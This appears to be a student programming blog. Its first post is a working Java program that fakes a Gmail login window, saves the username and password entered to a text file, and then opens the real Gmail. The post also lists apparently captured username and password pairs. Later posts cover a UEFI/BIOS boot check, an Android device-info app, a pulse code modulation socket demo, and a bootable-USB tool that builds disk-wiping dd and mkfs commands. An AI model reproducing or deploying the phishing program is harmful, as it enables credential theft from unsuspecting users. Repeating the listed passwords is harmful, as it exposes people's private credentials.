Friday, 26 September 2014

Web Spoofing in Java

 /*Download the Below image (abc5.png) and enter valid path. Output is Saved in Output.txt file (on specified Path)*/


import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.io.FileWriter;
import java.io.IOException;

import javax.swing.*;



public class Spooftest {

    public static JFrame f1;
    public static Container c;
    public static JTextField us,add;
    public static JLabel login;
    public static JLabel gmail,redi;
    public static Font font;
    public static ImageIcon img;
    public static String u,pa;
    public static BufferedWriter writer;
    public static JPasswordField pass;
   
    public static Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
   
    public Spooftest() {
        f1=new JFrame();
        font=new Font("Calibri",Font.PLAIN,15);
        f1.setContentPane(new JLabel(new ImageIcon("/home/apcoer/Pictures/abc5.png")));
        f1.setLayout(null);
       
        img=new ImageIcon("");
        c=f1.getContentPane();
        us=new JTextField();
        pass=new JPasswordField();
        add=new JTextField();
        login=new JLabel();
        gmail=new JLabel("Gmail - Mozilla Firefox");
       
        redi=new JLabel(img);
       
        us.setBorder(javax.swing.BorderFactory.createEmptyBorder());
        pass.setBorder(javax.swing.BorderFactory.createEmptyBorder());
        add.setBorder(javax.swing.BorderFactory.createEmptyBorder());

           
        us.setFont(font);
        pass.setFont(font);
        f1.setTitle("Gmail - Mozilla Firefox");
        redi.setBounds((int) (d.width/4), d.height/10, (int) (d.width/1.71),(int) (d.height/0.96));
        gmail.setBounds(700,5,300,30);
        f1.setBounds(0, 0, d.width, d.height);
        us.setBounds((int) (d.width/2.134), (int) (redi.getY()/0.168)-80, 170, 30);
        pass.setBounds((int) (d.width/2.134), (int) (d.height/1.505)-100, 170, 40);
        login.setBounds(656, 548, 275, 50);
        add.setBounds(73, 70, 1040, 25);
        add.setText("http://");
       
        redi.setIcon(img);
        login.setOpaque(false);
       
       
        c.add(us);
        c.add(pass);
        c.add(login);
        c.add(add);
       
        c.add(redi);
       
       
           f1.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
       
        f1.setVisible(true);

        add.setText("http://mail.google.com");
               
                us.setVisible(true);
                pass.setVisible(true);
                login.setVisible(true);
                redi.setVisible(true);
   
login.addMouseListener(new MouseListener() {
   
    @Override
    public void mouseReleased(MouseEvent e) {
        String[] param = {"/usr/bin/firefox","mail.google.com"};//Open the gamil.com in browser
        Runtime r = Runtime.getRuntime();
        Process p = null;
        try
        {
        p = r.exec(param);
        }
        catch(Exception e1)
        {
        System.out.println("Error executing " + e);
        }
        u=us.getText();
        pa=pass.getText();
        System.out.println("data::"+u);
   
       
        try {
            String str="   ";
            writer = new BufferedWriter(new FileWriter("/home/apcoer/Desktop/output.txt",true));
            writer.newLine();
            writer.append(u+str);
            writer.append(pa);
           
        } catch (IOException e1) {
            System.err.println(e);
        } finally {
           
            if (writer != null) {
               
                try {

                    writer.close();
                } catch (IOException e1) {
                    System.err.println(e);
                }
            }
        }
       
    }
   
    @Override
    public void mousePressed(MouseEvent e) {}
   
    @Override
    public void mouseExited(MouseEvent e) {    }
   
    @Override
    public void mouseEntered(MouseEvent e) {}
   
    @Override
    public void mouseClicked(MouseEvent e) {}
});
       
                       
    }
   
    public static void main(String[] args)
    {
        Spooftest s=new Spooftest();

    }
}


/////////////////abc5.png////////////////////////







           ********************SampleOutput*********************


**********************Output.txt*****************************

pb98040       asdfghjk
hsb9595       comp321
yogeshdh99    apcoer123
arvind333    kejriwal
ganesh111    ~!ganuraj

Thursday, 18 September 2014

Testing if PC is booted from UEFI or BIOS

#include <iostream>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
using namespace std;

class myInodeInfo
{
struct stat s;
int st;
public:

myInodeInfo(const char * f)
{
    st = stat(f,&s);
}
void display()
{

        mode_t m=s.st_mode;
       
        if(S_ISDIR(m))
            cout<<"\nSystem booted from UEFI"<<endl;
       
        else cout<<"\nSystem not booted from UEFI"<<endl;
}

void display1()
{
    int i=system("dmesg | grep 'EFI v'");
    if(i == 0)
    {
        cout<<"\nSystem booted from UEFI"<<endl;

    }
    else{
        cout<<"\nSystem booted from BIOS"<<endl;
}

}
};

int main() {

    char file[20]="/sys/firmware/efi";
   
    myInodeInfo obj= myInodeInfo(file);
    int ch=0;
    while(ch!=3)
    {
    cout<<"\n\nEnter choice: \n1. To check UEFI directory or BIOS.\n2.To check system log for UEFI or BIOS.\n3.Exit"<<endl;
    cin>>ch;
   
        switch(ch)
        {
       
            case 1:
                obj.display();
                break;
   
            case 2:
                obj.display1();
                break;

            case 3:
                //exit(0);
                break;
        }
    }
    return 0;
}



/*++++++++++++++++++++++OUTPUT++++++++++++++++++++

[root@localhost Documents]# g++ bootosd.cpp
[root@localhost Documents]# ./a.out


Enter choice:
1. To check UEFI directory or BIOS.
2.To check system log for UEFI or BIOS.
3.Exit
1

System not booted from UEFI


Enter choice:
1. To check UEFI directory or BIOS.
2.To check system log for UEFI or BIOS.
3.Exit
2

System booted from BIOS


Enter choice:
1. To check UEFI directory or BIOS.
2.To check system log for UEFI or BIOS.
3.Exit
3
[root@localhost Documents]#
++++++++++++++++++++++++++++++++++++++++++++++++ */

Monday, 15 September 2014

Code to verify the operating system name and version of Mobile devices.

package com.mycompany.myapp;

import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;
public class MainActivity extends Activity {
    @Override
    public void onCreate(Bundle savedlnstanceState) {
        super.onCreate(savedlnstanceState);
        TextView text = new TextView(this);
        text.setText("\nAll System information:"+
         "\nOperating system version:"+System.getProperty("os.version") +
           "\nOperating system Name:"+System.getProperty("os.name")+
            "\nOperating system architecture:"+System.getProperty("os.arch") +
            "\nManufacturer:" + android.os.Build.MANUFACTURER +
            "\nBoard:" + android.os.Build.BOARD +
            "\nDisplay:" + android.os.Build.DISPLAY+
            "\nBrand:" + android.os.Build.BRAND+
            "\nCPU_ABI:" + android.os.Build.CPU_ABI+
            "\nDevice:" + android.os.Build.DEVICE+
            "\nHost:" + android.os.Build.HOST+
            "\nModel:" + android.os.Build.MODEL+
            //"\nProduct:" + android.os.Build.PR0DUCT +
            "\nType:" + android.os.Build.TYPE+
            "\nUsers:" + android.os.Build.USER);
        setContentView(text);
    }
}

Friday, 12 September 2014

Pulse Code Modulation in java

-------------------Server-----------------------------
import java.net.*;
import java.io.*;
import javax.swing.*;
import java.awt.FlowLayout;
import java.sql.*;

public class Server
{
private ServerSocket serverSocket;
Server(int port)
{
try{
serverSocket=new ServerSocket(port);
System.out.println("Server waiting"+serverSocket.getLocalPort());
while(true)
{
Socket socket=serverSocket.accept();
System.out.println("client requested for conn");
TcpThread t=new TcpThread(socket);
System.out.println("starting thred");
t.start();
}
}catch(IOException e)
{
System.out.println("Exception on new ServerSocket:"+e);
}
}
public static void main(String a[])
{
new Server(8080);
}

class TcpThread extends Thread
{
Socket socket;
ObjectInputStream Sinput;
ObjectOutputStream Soutput;
String str;
TcpThread(Socket socket)
{this.socket=socket;}
public void run()
{
System.out.println("Creating object i/o Streams");
try{
Soutput=new ObjectOutputStream(socket.getOutputStream());
Soutput.flush();
Sinput= new ObjectInputStream(socket.getInputStream());
}catch(IOException e)
{System.out.println("Exception creating new i/o stream"+e);
return;
}
System.out.println("Thread waiting for a String from client");
try{
String str=(String)Sinput.readObject();

System.out.println("Client Sent: "+str);

str="OK";

Soutput.writeObject(str);

Soutput.flush();

}
catch(Exception e2)
{System.out.println("Exception reading/wr Streams:"+e2);
return;
}
finally{
try{

Soutput.close();
Sinput.close();
}catch(Exception e)
{}
}
}
}
}

---------------------Client---------------------------------


import java.net.*;
import java.io.*;
import javax.swing.*;
import static java.lang.Math.pow;
import java.util.*;

public class Client
{
ObjectInputStream Sinput;
ObjectOutputStream Soutput;
Socket socket;
int st=0,port;
String response;

Client(int port1)
{
port=port1;
}

void send(String s)
{
try{
socket=new Socket("localhost",port);
//socket=new Socket("192.168.1.140",port);
//socket=new Socket("localhost",port);
}catch(Exception e)
{JOptionPane.showMessageDialog(null,"Error in connecting to the server"+e);
return;
}
System.out.println("Conn Accepted"+socket.getInetAddress()+":"+socket.getPort());
try
{
Sinput=new ObjectInputStream(socket.getInputStream());
Soutput=new ObjectOutputStream(socket.getOutputStream());
}catch(IOException e)
{System.out.println("Exception creating new i/o stream"+e);
return;
}

System.out.println("Client sending '"+s+"' to server");
try
{
Soutput.writeObject(s);
Soutput.flush();
}
catch(IOException e)
{System.out.println("Error writing to socket:"+e);
return;
}

try{
Sinput.close();
Soutput.close();
}catch(Exception e)
{}
}

String myPCM()
{
 double axis_x[]=new double[512];
    long tmp[]=new long[512];
    int ampl;
    Scanner s= new Scanner(System.in);
    System.out.println("Enter amplitude:");
    ampl= s.nextInt();
 
    double f;

  
    int t=0,T;
    System.out.println("Enter time:");
    T= s.nextInt();
    f=1.0/T;
    for(t=0;t<=T;t++)
    {
        axis_x[t] = ampl * Math.sin(2 * (22.0/7) * f * t);
        System.out.println(axis_x[t]+"  ");
    }
    

    int b,size,m;
   System.out.println("Enter How many bits for Quantization :");
    b= s.nextInt();
    m=(int)Math.pow(2,b-1);
    size=ampl/m;
 
    int p,n,k;
    for(t=0;t<=T;t++)
    {
                    if(axis_x[t]>=0){
                    p=0;n=size;
                    for(k=0;k<m;k++)
                    {
                     if(axis_x[t]>=p && axis_x[t]<=n)
                     {
                             tmp[t]=k+m;
                break;               
                     } 
            p=n;
                    n=n+size;        
                    }
                 
                    }
                    else
                    {
                        p=-1;n=-size;
                    for(k=0;k<m;k++)
                    {
                     if(axis_x[t]<=p && axis_x[t]>=n)
                     {
                             tmp[t]=m-k-1;
                break;               
                     }
                p=n;
                    n=n-size;         
                    }
                 
                    }
    System.out.print(" "+tmp[t]);

    }
 
    System.out.print("\n\n");
    String data="";
    long i,rem,sum=0;
    int j=0;
    for(j=0;j<=T;j++)
    {
        i=1;    sum=0;
        do
        {
            rem=(long) tmp[j]%2;
            sum=sum + (i*rem);
            tmp[j]=tmp[j]/2;
            i=i*10;
        }while(tmp[j]>0);
        System.out.print(" "+sum);
    data=data+sum;

    }
  
        System.out.println("\n\nData to be sent is:"+data);
    System.out.print("\n");
    return data;
}




public static void main(String a[])
{
   
    Client a1=new Client(8080);
    String s1=a1.myPCM();
    a1.send(s1);

}
}

------------Client Output-----------------


[root@localhost apcoer]# javac Client.java
[root@localhost apcoer]# java Client
Enter amplitude:
10
Enter time:
4
0.0 
9.999998001333681 
-0.0126448893037729 
-9.999982012007937 
0.02528975838921635 
Enter How many bits for Quantization :
2
 2 3 0 0 2

 10 11 0 0 10

Data to be sent is:10110010

Conn Acceptedlocalhost/127.0.0.1:8080
Client sending '10110010' to server
[root@localhost apcoer]#

----------------Server Output-----------------

[root@localhost apcoer]# java Server
Server waiting8080
client requested for conn
starting thred
Creating object i/o Streams
Thread waiting for a String from client
Client Sent: 10110010

Making a bootable USB comand line fedora linux

#include<iostream> //Please remove comments within cases when making a bootable device
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <string.h>

using namespace std;
int main()
{
int ch;
     char dev[100]="";
     char boot[100]="sudo dd if=";
     char boot1[100]=" of=";
     char unmnt[100] ="umount ";
     char iso[100] ="";
        char tmp[100]="";

    cout<<"\n\n";
    system("mount | grep /dev/sd");
    cout<<"\n\nEnter the device to be made bootable: ";
    cin>>dev;

   
    cout<<"Enter the iso file path to be used: ";
    cin>>iso;
   
    cout<<"Select option \n 1. Make Bootable without format \n 2. Format using fat File System & (Burn)Make Bootable \n 3. Format using ext4 File System & (Burn)Make Bootable \n 4. Format using msdos File System & (Burn)Make Bootable \n 5.Exit \n";
    cin>>ch;
   
    switch(ch)
    {
    case 1:
        cout<<"\nCopying bootable files on device.....\n";
       
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";
         //system(boot);
            break;
    case 2:
        cout<<"Unmounting your device...";
        strcat(unmnt,dev);
        cout<<unmnt;

        system(unmnt);
        cout<<"\nFormatting your USB Device....";
        cout<<"sudo mkfs.vfat "<<dev;
        strcat(tmp,"sudo mkfs.vfat ");
        strcat(tmp,dev);
        cout<<tmp;

        //system(tmp);
        cout<<"\nCopying bootable files on device.....";
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";

        // system(boot);
            break;
   
    case 3:
        cout<<"Unmounting your device...";
        strcat(unmnt,dev);cout<<unmnt;

        //system(unmnt);
        cout<<"\nFormatting your USB Device....";
        cout<<"sudo mkfs.ext4 "<<dev;

        strcat(tmp,"sudo mkfs.ext4 ");
        strcat(tmp,dev);
        cout<<tmp;

        //system(tmp);
        cout<<"\nCopying bootable files on device.....";
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";
   
         //system(boot);
            break;
    case 4:
        cout<<"Unmounting your device...";
        strcat(unmnt,dev);cout<<unmnt;

        //system(unmnt);
        cout<<"\nFormatting your USB Device....";
        cout<<"sudo mkfs.msdos "<<dev;
       
        strcat(tmp,"sudo mkfs.msdos ");
        strcat(tmp,dev);
        cout<<tmp;

        //system(tmp);
        cout<<"\nCopying bootable files on device.....";
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";

         //system(boot);
            break;
    case 5:
        exit(0);
        break;
    }


  return 0;
  }

/*this is the original linux command .Giving incorrect device names may currupt your system

[root] # mkfs.vfat /dev/sdc1
[root] # dd if=Fedora-Live-Desktop-x86_64-20-1.iso of=/dev/sdb
*/



/*--------------------OUTPUT------------------------------------
[root@localhost apcoer]# g++ bootable.cpp
[root@localhost apcoer]# ./a.out


/dev/sda1 on /boot type ext4 (rw,relatime,seclabel,data=ordered)
/dev/sdb1 on /run/media/apcoer/Fedora-Live-Desktop-x86_64-20-1 type iso9660 (ro,nosuid,nodev,relatime,uid=1000,gid=1000,iocharset=utf8,mode=0400,dmode=0500,uhelper=udisks2)


Enter the device to be made bootable: /dev/sdb1
Enter the iso file path to be used: /home/apcoer/Pictures/Fedora-20Live-Desk.iso
Select option
 1. Make Bootable without format
 2. Format using fat File System & (Burn)Make Bootable
 3. Format using ext4 File System & (Burn)Make Bootable
 4. Format using msdos File System & (Burn)Make Bootable
 5.Exit
3
Unmounting your device...umount /dev/sdb1
mke2fs 1.42.7 (21-Jan-2013)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
61056 inodes, 243968 blocks
12198 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=251658240
8 block groups
32768 blocks per group, 32768 fragments per group
7632 inodes per group
Superblock backups stored on blocks:
    32768, 98304, 163840, 229376

Allocating group tables: done                           
Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

Formatting your USB Device....sudo mkfs.ext4 /dev/sdb1sudo mkfs.ext4 /dev/sdb1
Copying bootable files on device.....sudo dd if=/home/apcoer/Pictures/Fedora-20Live-Desk.iso of=/dev/sdb1
1951744+0 records in
1951744+0 records out
999292928 bytes (999 MB) copied, 399.875 s, 2.5 MB/s
[root@localhost apcoer]#


[root@localhost apcoer]# ./a.out


/dev/sda1 on /boot type ext4 (rw,relatime,seclabel,data=ordered)
/dev/sdb on /run/media/apcoer/SONY_8GR type vfat (rw,nosuid,nodev,relatime,uid=1000,gid=1000,fmask=0022,dmask=0077,codepage=437,iocharset=ascii,shortname=mixed,showexec,utf8,flush,errors=remount-ro,uhelper=udisks2)


Enter the device to be made bootable: /dev/sdb
Enter the iso file path to be used: /home/apcoer/Pictures/Fedora-20Live-Desk.iso        
Select option
 1. Make Bootable without format
 2. Format using fat File System & (Burn)Make Bootable
 3. Format using ext4 File System & (Burn)Make Bootable
 4. Format using msdos File System & (Burn)Make Bootable
 5.Exit
2
Unmounting your device...umount /dev/sdb
mkfs.fat 3.0.20 (12 Jun 2013)
mkfs.vfat: Device partition expected, not making filesystem on entire device '/dev/sdb' (use -I to override)
Formatting your USB Device....sudo mkfs.vfat /dev/sdbsudo mkfs.vfat /dev/sdb
Copying bootable files on device.....sudo dd if=/home/apcoer/Pictures/Fedora-20Live-Desk.iso of=/dev/sdb
Complete!
[root@localhost apcoer]#
*/